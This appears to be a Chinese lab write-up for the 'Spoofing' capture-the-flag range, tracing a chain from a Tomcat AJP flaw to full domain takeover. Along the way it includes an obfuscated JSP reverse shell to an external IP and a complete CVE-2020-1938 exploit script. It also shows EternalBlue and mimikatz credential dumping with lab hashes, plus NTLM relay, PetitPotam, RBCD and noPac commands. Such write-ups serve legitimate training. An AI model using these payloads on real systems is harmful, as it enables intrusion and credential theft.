春秋云境 Spoofing

flag01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   ___                              _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 39.98.118.194 is alive
[*] Icmp alive hosts len is: 1
39.98.118.194:8009 open
39.98.118.194:8080 open
39.98.118.194:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://39.98.118.194:8080 code:200 len:7091 title:后台管理

dirsearch扫描发现docs路由,访问发现为tomcat 9.0.30,利用工具进行扫描

image-20240805163537886

发现存在AJP漏洞,使用Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938尝试获取shell,先上传文件,得到文件路径

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjEuMTIzLjk2LzI1MCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");%>

image-20240805164106771

再利用包含脚本包含该文件获取shell

1
python2 CVE-2020-1938-shell.py 39.99.227.248 -p 8009 -f upload/fe84d72a6dbdfd1c109f449cc3dc6dc8/20240807012205164.txt

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)

if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)

res += pack_string(self.request_headers[h_name])
return res

def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res

r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break

return res

class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError

def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value

def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)

def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")

def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen

@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr

class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)

def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jsp',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))

拿到shell发现直接是root权限,读取flag

1
cat /r*/f*/f*

flag02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
./fs -h 172.22.11.1/24 -o result.txt

172.22.11.45:445 open
172.22.11.26:445 open
172.22.11.6:445 open
172.22.11.45:139 open
172.22.11.26:139 open
172.22.11.26:135 open
172.22.11.45:135 open
172.22.11.6:135 open
172.22.11.76:8080 open
172.22.11.6:88 open
172.22.11.6:139 open
172.22.11.76:8009 open
172.22.11.76:22 open
[*] NetBios: 172.22.11.6 [+]DC XIAORANG\XIAORANG-DC
[*] NetInfo:
[*]172.22.11.6
[->]XIAORANG-DC
[->]172.22.11.6
[*] NetInfo:
[*]172.22.11.26
[->]XR-LCM3AE8B
[->]172.22.11.26
[*] NetBios: 172.22.11.45 XR-DESKTOP.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios: 172.22.11.26 XIAORANG\XR-LCM3AE8B
[+] 172.22.11.45 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle: http://172.22.11.76:8080 code:200 len:7091 title:后台管理

扫出来的信息并不多,可以发现6,也就是域控开启了88端口,可能是要打证书之类的漏洞,其次是扫出来一个永恒之蓝,先把永恒之蓝打了。

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload payload/windows/x64/meterpreter/bind_tcp
set rhosts 172.22.11.45
run

直接system权限,拿到第二个flag

1
cat C:/users/administrator/flag/flag02.txt

flag03

1
2
load kiwi
creds_all

得到了机器账户和yangmei的哈希

1
2
3
4
Username     Domain    NTLM                              SHA1
-------- ------ ---- ----
XR-DESKTOP$ XIAORANG 646f21852fb4de18e9cca504854c789e 86a8eea22535477e8d2426ab7d22afa099a441cf
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f

还有yangmei的明文

1
yangmei:xrihGHgoNZQ

参考博客:https://whoamianony.top/posts/privilege-escalation-ntlmrelay2self-over-http-webdav/#ntlm-relay-over-http-webdav

简单来说这里的特别之处就是使用http协议来绕过身份验证,先扫一下这里是否具备利用条件吧(即开启)

1
proxychains4 crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav 2>/dev/null

结果如下,可以看到只有26开启了webclient服务,基本可以确定攻击目标就是26这台机器了

image-20240807014815684

后面的思路就是利用漏洞强制让26访问中继,获取对应的TGT,再利用获取的TGT申请ST,进而对26横向。

但这里存在一个问题,博客中利用

1
socat tcp-listen:8080,reuseaddr,fork tcp:192.168.2.148:80

将被控机8080端口的流量转发到了192.168.2.148的80端口,而我们的kali是在内网,没法直接转发过来,所以解决方法有两个

1.直接在VPS上开启中继

2.将本地kali的端口映射到VPS上

这里由于我VPS的环境没配置,所以就使用了第二种方法解决

frpc.ini

1
2
3
4
5
6
7
8
9
[common]
server_addr = vpsip
server_port = 7099

[plugin_socks6]
type = tcp
remote_port = 8848
local_port = 80
local_ip = 127.0.0.1

frps.ini

1
2
3
4
5
6
7
[common]
bind_port = 7099

[tcp_1200]
type = tcp
local_ip = 127.0.0.1
local_port = 8848

被控机器:将本地80端口的流量转发到vps的8848端口

1
socat tcp-listen:80,reuseaddr,fork tcp:vpsip:8848

本地kali:

1
./frpc -c frpc.ini

VPS:

1
./frps -c frps.ini

搭建好了之后可以上拿下的win7主机curl一下,看看本地是否能够收到对应流量,可以看到本地确实收到了对应流量

image-20240807021733543

1.kali开启中继监听80

1
proxychains4 impacket-ntlmrelayx -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

2.利用PetitPotam漏洞强制访问76机器

1
python PetitPotam.py -u yangmei -p xrihGHgoNZQ -d xiaorang.lab ubuntu@80/webdav 172.22.11.26

这里中继的作用其实就是修改了机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity

具体可以参考这里所说的RBCD的第三种打法:https://forum.butian.net/share/1591

3.利用机器账户申请ST票据

1
proxychains4 impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :646f21852fb4de18e9cca504854c789e  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6

4.导入ST票据

1
export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache

5.横向26机器

1
proxychains4 impacket-smbexec -target-ip 172.22.11.26 -k XR-LCM3AE8B.xiaorang.lab -no-pass

拿到第三个flag

1
type C:\users\administrator\flag\flag03.txt

flag04

image-20240807035641925

image-20240807035927937

发现存在MA_Admin组,可以添加账户,利用mimikatz抓取一波哈希

1
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit
1
2
3
4
5
6
[00000003] Primary
* Username : zhanghui
* Domain : XIAORANG
* NTLM : 1232126b24cdf8c9bd2f788a9d7c7ed1
* SHA1 : f3b66ff457185cdf5df6d0a085dd8935e226ba65
* DPAPI : 4bfe751ae03dc1517cfb688adc506154

得到zhanghui的哈希,利用npac获取dc权限

1
python noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

拿到flag04

1
type C:\users\administrator\flag\flag04.txt